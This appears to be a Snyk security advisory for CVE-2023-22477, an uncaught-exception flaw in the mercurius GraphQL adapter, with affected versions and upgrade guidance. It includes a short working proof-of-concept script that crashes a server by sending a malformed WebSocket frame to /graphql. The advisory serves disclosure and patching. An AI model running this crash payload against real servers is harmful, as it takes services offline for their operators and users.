Uncaught Exception Affecting mercurius package, versions <8.13.2 >=9.0.0 <11.5.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.15% (53rd
percentile)
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Test your applications- Snyk ID SNYK-JS-MERCURIUS-3227610
- published 10 Jan 2023
- disclosed 9 Jan 2023
- credit marcolanaro
Introduced: 9 Jan 2023
CVE-2023-22477 Open this link in a new tabHow to fix?
Upgrade mercurius to version 8.13.2, 11.5.0 or higher.
Overview
mercurius is a GraphQL adapter for Fastify
Affected versions of this package are vulnerable to Uncaught Exception when sending a malformed packet over WebSocket to /graphql.
PoC
const WebSocket = require('ws');
const ws = new WebSocket('ws://127.0.0.1:1337/graphql');
ws.on('open', function open() {
ws._socket.write(Buffer.from([0xa2, 0x00]));
});
References
CVSS Scores
version 3.1